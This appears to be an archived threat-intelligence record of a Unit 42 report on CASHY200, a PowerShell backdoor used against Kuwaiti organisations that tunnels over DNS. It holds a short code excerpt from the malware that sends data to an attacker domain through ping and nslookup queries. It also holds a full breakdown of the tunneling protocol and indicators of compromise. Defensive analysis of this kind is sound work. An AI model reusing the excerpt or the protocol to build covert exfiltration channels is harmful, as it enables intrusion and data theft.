{
	"id": "fcf00a78-cdd6-433a-a550-a89d3780a1b0",
	"created_at": "2026-04-06T00:09:07.178985Z",
	"updated_at": "2026-04-10T03:31:42.205742Z",
	"deleted_at": null,
	"sha1_hash": "ba208f974e6ce20bba24425238eca064b7553547",
	"title": "xHunt Campaign: New PowerShell Backdoor Blocked Through DNS Tunnel Detection",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 767897,
	"plain_text": "xHunt Campaign: New PowerShell Backdoor Blocked Through\r\nDNS Tunnel Detection\r\nBy Robert Falcone, Brittany Barbehenn\r\nPublished: 2019-10-10 · Archived: 2026-04-05 14:12:27 UTC\r\nExecutive Summary\r\nDuring our continued analysis of the xHunt campaign, we observed several domains with ties to the pasta58[.]com\r\ndomain associated with known Sakabota command and control (C2) activity. In June 2019, we observed one of\r\nthese overlapping domains, specifically, windows64x[.]com, being used as the C2 server for a new PowerShell\r\nbased backdoor that we’ve named CASHY200. This PowerShell backdoor used DNS tunneling to communicate\r\nwith its C2 server, specifically by issuing DNS A queries to the actor controlled name server at the aforementioned\r\ndomain. CASHY200 parses data provided by the C2 server within DNS answers to run commands on the system\r\nand send the results back to the C2 via DNS queries. In several samples, CASHY200 used randomly generated\r\nidentifiers that are stored in the registry at HKCU\\Software\\Microsoft\\Cashe\\index and used the command value\r\n200 to communicate with the C2 server. These details are the basis for the name CASHY200.\r\nWhile we do not have telemetry showing how the CASHY200 PowerShell backdoor was delivered, in September\r\n2019 we observed a host based in Kuwait beaconing to the windows64x[.]com domain using the same DNS\r\ntunneling protocol as the CASHY200 payload. Fortunately, the beaconing to this domain was blocked by our DNS\r\nsecurity service, so the adversary was no longer able to communicate with their payload using this DNS tunnel.\r\nBy analyzing the lineage of this tool, we found that actors may have used CASHY200 when targeting Kuwait\r\ngovernment organizations starting in the spring of 2018 and continuing throughout 2019, according to our open\r\nsource collection efforts.\r\nCASHY200 Attacks\r\nOn September 16, 2019, an organization based in Kuwait enabled our DNS Security subscription, which detected\r\nmalicious DNS tunneling activity within minutes. The DNS tunnel was communicating with the\r\nwindows64x[.]com domain, which we had previously linked to the xHunt campaign that targeted shipping and\r\ntransportation organizations in Kuwait. By blocking the DNS tunnel, the actor no longer had the ability to access\r\nthe compromised systems. We do not have any telemetry on the initial breach that resulted in the installation of the\r\npayload using the DNS tunnel.\r\nWhile investigating the activity, we found a CASHY200 PowerShell-based payload that communicated with\r\nwindows64x[.]com. We analyzed this PowerShell script and found that its DNS tunneling protocol matched the\r\noutbound DNS requests at the Kuwait organization which were blocked by DNS Security. We will provide an\r\nanalysis of CASHY200 and its DNS tunneling protocol in a later section of this blog.\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 1 of 11\n\nAfter gathering additional CASHY200 samples, we observed evidence that the threat group was actively\r\ndeveloping this PowerShell-based tool for use in their attack campaigns. While researching this evolution, we\r\nfound several samples that date back to May and June of 2018. On May 1 and June 3, 2018, we first saw\r\nexecutables that installed and executed CASHY200 PowerShell scripts that communicated with the domains\r\nwindows-updates[.]com and firewallsupports[.]com, respectively. We do not have telemetry to determine the\r\norganizations that were impacted by these payloads, however, the Tweets by @Voulnet seen in Figure 1 suggest\r\nthat Word documents were used to deliver PowerShell payloads using firewallsupports[.]com as a C2 to target\r\ngovernment organizations in Kuwait.\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 2 of 11\n\nFigure 1. Tweet by @Voulnet suggesting that PowerShell-based payloads communicating with\r\nfirewallsupports[.]com were used to target the Kuwait government\r\nWhile we are unable to confirm that this threat group used CASHY200 payloads configured to communicate with\r\nfirewallsupports[.]com to target government organizations in Kuwait, we did discover Word documents that\r\ninstalled CASHY200 payloads configured with the aforementioned domain as its C2 which also contained the\r\nlogo of a Kuwait government organization as part of its social engineering lure image. This aligns with the general\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 3 of 11\n\ntargeting observed in the xHunt campaign, in which the attacks were solely on Kuwait organizations. Table 1 lists\r\nthe Word documents seen installing CASHY200, which shows another C2 domain, winx64-microsoft[.]com, used\r\nby this threat group.\r\nModified time SHA256 Filename C2 domain\r\n8/20/2018 7:00:00 bce37fc0... األضحى عيد.docm firewallsupports[.]com\r\n8/13/2018 9:07:00 5a3c156... الدخول تسجیل دلیل.docm firewallsupports[.]com\r\n1/1/1980 0:00:00 45b2db5... Update list soft-Ad.docm winx64-microsoft[.]com\r\n7/4/2018 5:45:00 ce6b44af... 01العامة النماذج قائمة.docm firewallsupports[.]com\r\n7/4/2018 6:10:00 0b54763... 02العامة النماذج قائمة.docm firewallsupports[.]com\r\n7/4/2018 6:09:00 396235b... 03العامة النماذج قائمة.docm firewallsupports[.]com\r\nTable 1. Malicious Word documents installing CASHY200 payloads\r\nAlso of interest, on May 14, 2019, an individual posted on Microsoft’s TechNet forum requesting information on\r\nan activity they observed on two of their servers that involved the domain windows64x[.]com. The activity\r\ndescribed by the individual is tunneling activity to the same C2 domain using the same DNS tunneling protocol\r\nthat we blocked at the Kuwait government organization. While we cannot confirm the organization experiencing\r\nthis activity, based on the details provided in the forum post, we believe that the individual also worked at another\r\nKuwait government organization.\r\nAnother interesting detail provided in the post to TechNet was that the queries for the DNS tunnel were generated\r\nusing the command ping -n 1 \u003cdomain\u003e. We observed the same technique to issue queries for a DNS Tunnel in a\r\nCASHY200 sample configured with firewallsupports[.]com as the C2, as depicted in the code in Figure 2. If a\r\nuser (or malicious script in this case) provides a domain to the ping command, the application will attempt to\r\nresolve the domain before sending the ICMP messages to ping the remote system. Using the ping application in\r\nthis manner effectively sends the query for the DNS tunnel.\r\n$domain = $rnd + $in + $id + $coun + $data +\r\n'.firewallsupports[.]com'\r\n$get = cmd /c ping -n 1 $domain\r\nFigure 2. Code in CASHY200 sample using ping -n 1 to issue DNS queries to firewallsupports[.]com\r\nSimilarly, we observed another CASHY200 sample that used the nslookup command in the same manner as the\r\nping sample except to communicate using the domain windows64x[.]com. This sample used nslookup -type=a\r\n\u003cdomain\u003e to issue the DNS queries and further strengthens the relationship between the two domains.\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 4 of 11\n\nCASHY200 DNS Tunneling Protocol\r\nWe analyzed the file(SHA256: eccc65711cbd154f680e8c8ef343d53f29e4a6237510abd4ad1eab5742b035b3) in\r\norder to understand the capabilities of the payload and the DNS tunneling protocol that was blocked at the Kuwait\r\norganization. This sample communicates with the domain windows64x[.]com. The DNS tunneling protocol relies\r\non DNS A queries to send data from the Trojan to the C2 server within the subdomain of the queried domain and\r\nreceive data within the IPv4 answer from the C2 server. At a high level, the CASHY200 sample associated with\r\nthis activity can issue two different commands, seen in Table 2 by answering the initial beacon query with an IPv4\r\nanswer that has either 48 or 92 as its first octet.\r\nCommand in\r\nIPv4\r\nDescription of Command\r\n48.x.x.x Run ‘hostname’ command and send the results to the C2 over DNS tunnel.\r\n92.\u003c# of\r\nqueries\u003e.x.x\r\nObtain command to run from the answers to subsequent DNS queries and send the results\r\nto the C2 over DNS tunnel. Second octet is used to notify the payload how many DNS\r\nqueries to issue to obtain the command\r\nTable 2. Commands available within CASHY200 and their functionality\r\nOlder samples of CASHY200 that used windows-updates[.]com and firewallsupports[.]com for their C2 domains\r\nonly had one command available that it would issue by including 200 as its first octet of the IPv4 answer. This\r\ncommand had the same functionality as the 92 command seen in Table 2 above. In these older samples, the 48\r\ncommand was not needed as they would provide the hostname of the system within the initial beacon instead of\r\nrequesting it from the C2. The command value of 200 is the basis for the latter part of the CASHY200 name.\r\nIn general, the domains generated by CASHY200 for its DNS tunnel will be structured as seen in Figure 3. The\r\nsequence number and data for exfiltration fields are optional and are often blank depending on the Trojan's request\r\ntype. For instance, the first DNS query that acts as a beacon does not have a sequence number or data exfiltration\r\nfield. In addition, older samples of CASHY200 use 4 random characters instead of 5.\r\n\u003c5 random characters\u003e\u003chexlified request type\u003e\u003chexlified unique\r\nhostname\u003e\u003csequence number\u003e\u003cdata for\r\nexfiltration\u003e.windows64x[.]com\r\n   Figure 3. Structure of the DNS queries generated by CASHY200 for its DNS tunneling protocol\r\nThe request type field allows CASHY200 to tell the C2 server the purpose of the DNS query it issued. This allows\r\nthe C2 server to respond to the inbound query with the appropriate IPv4 address within the DNS answer. Table 3\r\nprovides all of the available request types and the purpose of the DNS query. It is important to note that\r\nCASHY200 samples using windows64x[.]com as a C2 server can receive commands within the response to both\r\nthe d or the q request types, whereas older samples can only process commands from responses to the q request\r\ntype.\r\nRequest type Description\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 5 of 11\n\nd Initial ‘hello’ beacon.\r\nq Requesting command beacon.\r\nf Finished sending results.\r\nc Sending number of upcoming queries to send the custom command results.\r\nh Obtaining data from C2 within IPv4 answers.\r\na Sending hostname command results within subdomain.\r\nr Sending custom command results within subdomain.\r\nTable 3. Request types that CASHY200 will use to notify C2 of the purpose of each DNS query\r\nIn the CASHY200 tunnel that was blocked by DNS Security, the \u003chexlified unique hostname\u003e was a string\r\nhardcoded by the actor into the Trojan, which appears unique to the infected system. This hardcoded hostname\r\nsuggested that the threat actor created the CASHY200 sample specifically for the compromised host, which also\r\nallowed us to quickly determine the infected hosts to triage remediation efforts. Older samples of CASHY200 use\r\nrandomly generated identifiers that the Trojan stores in the registry, one location was\r\nHKCU\\Software\\Microsoft\\Cashe\\index, which was the basis of the front portion of the name CASHY200.\r\nAs previously mentioned, the sequence number only appears within the queried subdomain when CASHY200\r\nsends data to the C2 server. CASHY200 will start the sequence number at 101 and increment this value each\r\nquery it sends until it has transmitted all of the data to the C2.\r\nCASHY200 DNS Tunnel Example\r\nTo understand and visualize the DNS tunneling protocol used by CASHY200, we created a C2 server to interact\r\nwith and issue commands to the backdoor. We created the C2 server to interact with the CASHY200 sample\r\nconfigured with windows64x[.]com which can process two commands: 48 or 92 within the first octet of the DNS\r\nA record answer (see Table 2 for command description). Figure 4 below shows a network packet capture of\r\nCASHY200 interacting with our C2 server. This image shows CASHY200 receiving the ‘hostname’ command\r\nfollowed by a custom command of ‘whoami’, both of which the backdoor will run and transmit the results back to\r\nthe C2.\r\nOf note, Figure 4 shows the DNS server responding to these queries with 1.2.3.4, which is just a placeholder we\r\nincluded in our C2 server as CASHY200 ignores the DNS response when sending data.\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 6 of 11\n\nFigure 4. DNS traffic associated with CASHY200 receiving and responding to the ‘hostname’ followed by a\r\ncustom command ‘whoami’\r\nIn Figure 4, the first DNS query to resolve is\r\nyFIOr645245444143544544.windows64x[.]com which acts as an initial beacon. The first five characters (yFIOr)\r\nare random and have no purpose other than generating random subdomains in order to avoid DNS caching. The\r\nnext two characters (64) signify the Hex notation of the d request type, which is the request type for the initial\r\nbeacon as noted in Table 3. The request type is followed by the system specific hostname hardcoded into the\r\nsample, which in this case is 5245444143544544 for \u003cREDACTED\u003e.\r\nTo issue the 48 command to get the hostname of the system, the C2 server responds to the initial beacon query\r\nwith 48 as the first octet of the IPv4 answer, specifically 48.0.0.0. The C2 server does not have to issue this IPv4\r\nspecifically to issue the ‘hostname’ command, as CASHY200 ignores the remaining three octets and runs the\r\n'hostname' command. Our test system had a hostname of test-system-ftw, which CASHY200 sends to the C2\r\nserver in a sequence of DNS queries to resolve the following:\r\n1. pevtF6152454441435445443130316447567a6443317a65584e305a57303d.windows64x[.]com\r\n2. diosk6152454441435445443130324c575a3064773d3d.windows64x[.]com\r\n3. weDlz615245444143544544313033.windows64x[.]com\r\n4.\r\nThese DNS queries contain the results of the ‘hostname’ command using the request type a (61) in the subdomain\r\nof the three queries) in order to transmit the data. Following the request type is the data to be sent within these\r\nDNS queries. The C2 server uses sequence numbers to put the queries in the correct order before base64 decoding\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 7 of 11\n\nthe data in each query. In our example, the data, which converted from hexadecimal notation results in\r\n101dGVzdC1zeXN0ZW0=, 102LWZ0dw== and 103. The C2 server then concatenates the decoded data from\r\neach query to create the results. Table 4 shows how the C2 would process the ‘hostname’ command results sent by\r\nCASHY200 to produce test-system-ftw.\r\nSequence Number Encoded Data Decoded Data\r\n101 dGVzdC1zeXN0ZW0= test-system\r\n102 LWZ0dw== -ftw\r\n103 \u003cno data\u003e\r\nTable 4. Our C2 processing data sent by CASHY200 in response to the ‘hostname’ command\r\nAfter sending the results of the ‘hostname’ command, CASHY200 issues the\r\nUDmEJ665245444143544544.windows64x[.]com DNS query with the request type f (66 in the subdomain) to\r\nnotify the C2 it is done sending data. After sending the results of the ‘hostname’ command, CASHY200 issues a\r\nquery to resolve GmhpF715245444143544544.windows64x[.]com with a request type of q (71 in the subdomain).\r\nCASHY200 issues this request to obtain a custom command from the C2 server to run in command prompt.\r\nThe packet capture in Figure 4 shows our C2 server responding to the CASHY200 query with a request type of q\r\nand IPv4 address of 92.2.0.0. As mentioned in Table 2, CASHY200 will parse this IPv4 as a custom command\r\nwith the first octet of the IPv4 (92) signaling the issued custom command and the second octet (2) as the number\r\nof DNS queries the backdoor must issue to download the entire command from the C2 server’s answers to queries.\r\nThe command data is issued via IPv4 addresses within the DNS answers, which is a very inefficient way of\r\ntransmitting data as the C2 can only send four bytes of data for each DNS query the Trojan issues.\r\nBased on the answer 92.2.0.0, CASHY200 issues the following two DNS queries, both of which have a request\r\ntype of h (68 in the subdomains) and sequence numbers of 100 and 101 (313030 and 313031 in the subdomains):\r\n1. iQKEe685245444143544544313030.windows64x[.]com\r\n2. TyxLC685245444143544544313031.windows64x[.]com\r\n3.\r\nThe C2 server answers these two queries with the IPv4 addresses 119.104.111.97 and 109.105.0.0, which\r\nCASHY200 processes by treating each octet as a byte of data and concatenating all the bytes to receive the\r\ncommand. For instance, Table 5 shows how CASHY200 would process the two IPv4 answers to obtain the\r\ncommand ‘whoami’.\r\nIPv4 Answer Octets in Ascii Resulting string\r\n119.104.111.97 ‘w’.’h’.’o’.’a’ whoa\r\n109.105.0.0 ‘m’.’i’.’\\x00’.’\\x00’ mi\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 8 of 11\n\nTable 5. CASHY200 processing IPv4 answers from our C2 to get a custom command to run ‘whoami’\r\nAfter running the custom command ‘whoami’, CASHY200 sends the results to the C2 server in a slightly different\r\nmanner than how it sends the results of the ‘hostname’ command discussed earlier. CASHY200 begins sending the\r\nresults of the custom command by issuing a query to resolve YqpZf6352454441435445443.windows64x[.]com,\r\nwhich contains a request type of c (63 in the subdomain) and the number 3 as the data field. CASHY200 uses the\r\nnumber in the data field of this request to notify the C2 how many queries it will send to transmit the results of the\r\ncustom command.\r\nAfter sending the count of queries required to transmit the results, CASHY200 issues the following three queries,\r\nall of which have a request type of r (72 in the subdomains):\r\n1. QMNnv7252454441435445443130316447567a6443317a65584e305a57303d.windows64x[.]com\r\n2. OlBCh7252454441435445443130324c575a30643178305a584e304c513d3d.windows64x[.]com\r\n3. XUkra72524544414354454431303364584e6c63673d3d.windows64x[.]com\r\n4.\r\nThe three queries used to send the results of the custom command include a sequence number starting at 101 that\r\nincrements each query followed by data, all of which is represented as hexadecimal bytes. After converting the\r\nhexadecimal bytes, the queries contain 101dGVzdC1zeXN0ZW0=, 102LWZ0d1x0ZXN0LQ==, and\r\n103dXNlcg==, which shows the incrementing sequence numbers followed by the base64 encoded results of the\r\ncustom ‘whoami’ command, which in our test case was test-system-ftw\\test-user. Table 6 shows how the C2 server\r\nwill process the three queries issued by CASHY200 to transmit the results of the custom command.\r\nSequence Number Encoded Data Decoded Data\r\n101 dGVzdC1zeXN0ZW0= test-system\r\n102 LWZ0d1x0ZXN0LQ== -ftw\\test-103 dXNlcg== user\r\nTable 6. Our C2 processing data sent by CASHY200 in response to the custom command ‘whoami’\r\nAfter sending the results of the custom ‘whoami’ command, CASHY200 issues the DNS query\r\nfvSwZ665245444143544544.windows64x[.]com with the request type f (66 in the subdomain) to notify the C2 it\r\nis done sending data.\r\nConclusion\r\nAccording to our initial publication, the xHunt Campaign targeted Kuwait organizations using several custom\r\ntools to compromise systems. We discovered another custom tool that we call CASHY200, which is a PowerShell-based backdoor that communicates with a C2 server using DNS tunneling. We found evidence through open\r\nsource collection that this threat group used CASHY200 to target Kuwait government organizations. While we\r\ncannot confirm the specific organizations mentioned in the open source, we can confirm that another Kuwait\r\norganization was targeted by this group based on our own telemetry from our DNS Security service. These\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 9 of 11\n\ndiscoveries suggest that this threat group has targeted Kuwait organizations since the spring of 2018 through 2019,\r\nwhich includes organizations in both government and shipping and transportation industries.\r\nPalo Alto Networks customers are protected from the tools mentioned in this blog through the following:\r\nCustomers using AutoFocus can view this activity by using the xHunt and CASHY200 tags\r\nThe DNS tunneling protocols referenced in this blog are detected through DNS Security automated\r\ndetection.\r\nC2 domains windows64x[.]com, firewallsupports[.]com, windows-updates[.]com, and winx64-\r\nmicrosoft[.]com are classified as malicious in Threat Prevention and URL Filtering.\r\nAll CASHY200 samples identified are detected as malicious by WildFire and Traps.\r\nAll CASHY200 tunneling protocols are blocked by DNS Security.\r\nSpecial thanks to Daiping Liu and Jun Javier Wang for the notification and assistance regarding the DNS Security\r\nservice blocking this DNS tunneling activity.\r\nPalo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report\r\nwith our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections\r\nto their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat\r\nAlliance, visit www.cyberthreatalliance.org.\r\nIndicators of Compromise\r\nExecutable Droppers\r\nffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9\r\n3e13f539071d56106e252566b436933ccffd2d509f0c3fae916748971663946c\r\n1f48eceb9dca085d8eb2bcea1dde28e2643e1b198b0a7e998d7708fa68d43575\r\n79c8ceb3627a8d35c8e7255007d87af8e20f1eb341b5446da1e063cf5da39c6f\r\nWord Delivery Documents\r\nbce37fc0d97ac6bed24098ecf4187081e9a664c87d4fe558f3e46928140c835f\r\n5a3c156565f4243eacf179b95696a15a2e1c460315ff0940c0c71c4f587eb4b3\r\n45b2db5a78758f9d5125897da4a31c67e68424269eeed58646a87326a2b45d80\r\nce6b44af79db56be053f63426acee02c591a2e19ef29f43227ea5b0640e9b24a\r\n0b5476369bca1d9998aa4a53dfe9e958268cd48ac69f9a16001f842330133fe6\r\n396235b998ab348e7f82f1145e8566820652f187c28df2cdeb0dc9b0ef790422\r\nCASHY200 Samples\r\neccc65711cbd154f680e8c8ef343d53f29e4a6237510abd4ad1eab5742b035b3\r\na0ce856d224ee04558e5cb67bda8ae4733dd40f5a8e59ab5a799d7d1378625b4\r\nb62c3aa413cc5bd551836328b9740ddd50c1a8aa7a04ea0e301fa507724e18f6\r\ne36a4056b32e094ff6b0aefb2ffe11f033969dc10fa58199559d8c117d0e1b6f\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 10 of 11\n\n2b73fe5b9ba44fadcee8657cb2d2b37aab8d0a3be4ed1f437c83f4594e501cd6\r\n788687e478704b324089af011cbe20d9d3a590283dd85e45ffe3e51a340f58ca\r\nffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9\r\n3e13f539071d56106e252566b436933ccffd2d509f0c3fae916748971663946c\r\n1f48eceb9dca085d8eb2bcea1dde28e2643e1b198b0a7e998d7708fa68d43575\r\n79c8ceb3627a8d35c8e7255007d87af8e20f1eb341b5446da1e063cf5da39c6f\r\nCASHY200 C2 domains\r\nwindows64x[.]com\r\nwinx64-microsoft[.]com\r\nfirewallsupports[.]com\r\nwindows-updates[.]com\r\nSource: https://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nhttps://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"references": [
		"https://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/"
	],
	"report_names": [
		"more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection"
	],
	"threat_actors": [
		{
			"id": "20bc5b83-9ea0-4e60-a23e-19bf203dc9fb",
			"created_at": "2022-10-25T16:07:24.432777Z",
			"updated_at": "2026-04-10T02:00:04.986077Z",
			"deleted_at": null,
			"main_name": "xHunt",
			"aliases": [
				"Cobalt Katana",
				"Hive0081",
				"Hunter Serpens",
				"SectorD01"
			],
			"source_name": "ETDA:xHunt",
			"tools": [
				"CASHY200",
				"COLDTRAIN",
				"Gon",
				"Hisoka",
				"Killua",
				"Netero",
				"SHELLSTING",
				"Sakabota",
				"Snugy",
				"TriFive"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "c5a103eb-08af-410b-b11d-3635f4d4a3eb",
			"created_at": "2025-08-07T02:03:24.756187Z",
			"updated_at": "2026-04-10T02:00:03.667108Z",
			"deleted_at": null,
			"main_name": "COBALT KATANA",
			"aliases": [
				"Hive0081 ",
				"SectorD01 ",
				"xHunt campaign "
			],
			"source_name": "Secureworks:COBALT KATANA",
			"tools": [
				"CASHY200",
				"Diezen",
				"Eye",
				"Gon",
				"Hisoka",
				"Hisoka Netero",
				"HyphenShell",
				"Killua",
				"Sakabota",
				"Sakabota Framework"
			],
			"source_id": "Secureworks",
			"reports": null
		}
	],
	"ts_created_at": 1775434147,
	"ts_updated_at": 1775791902,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ba208f974e6ce20bba24425238eca064b7553547.pdf",
		"text": "https://archive.orkl.eu/ba208f974e6ce20bba24425238eca064b7553547.txt",
		"img": "https://archive.orkl.eu/ba208f974e6ce20bba24425238eca064b7553547.jpg"
	}
}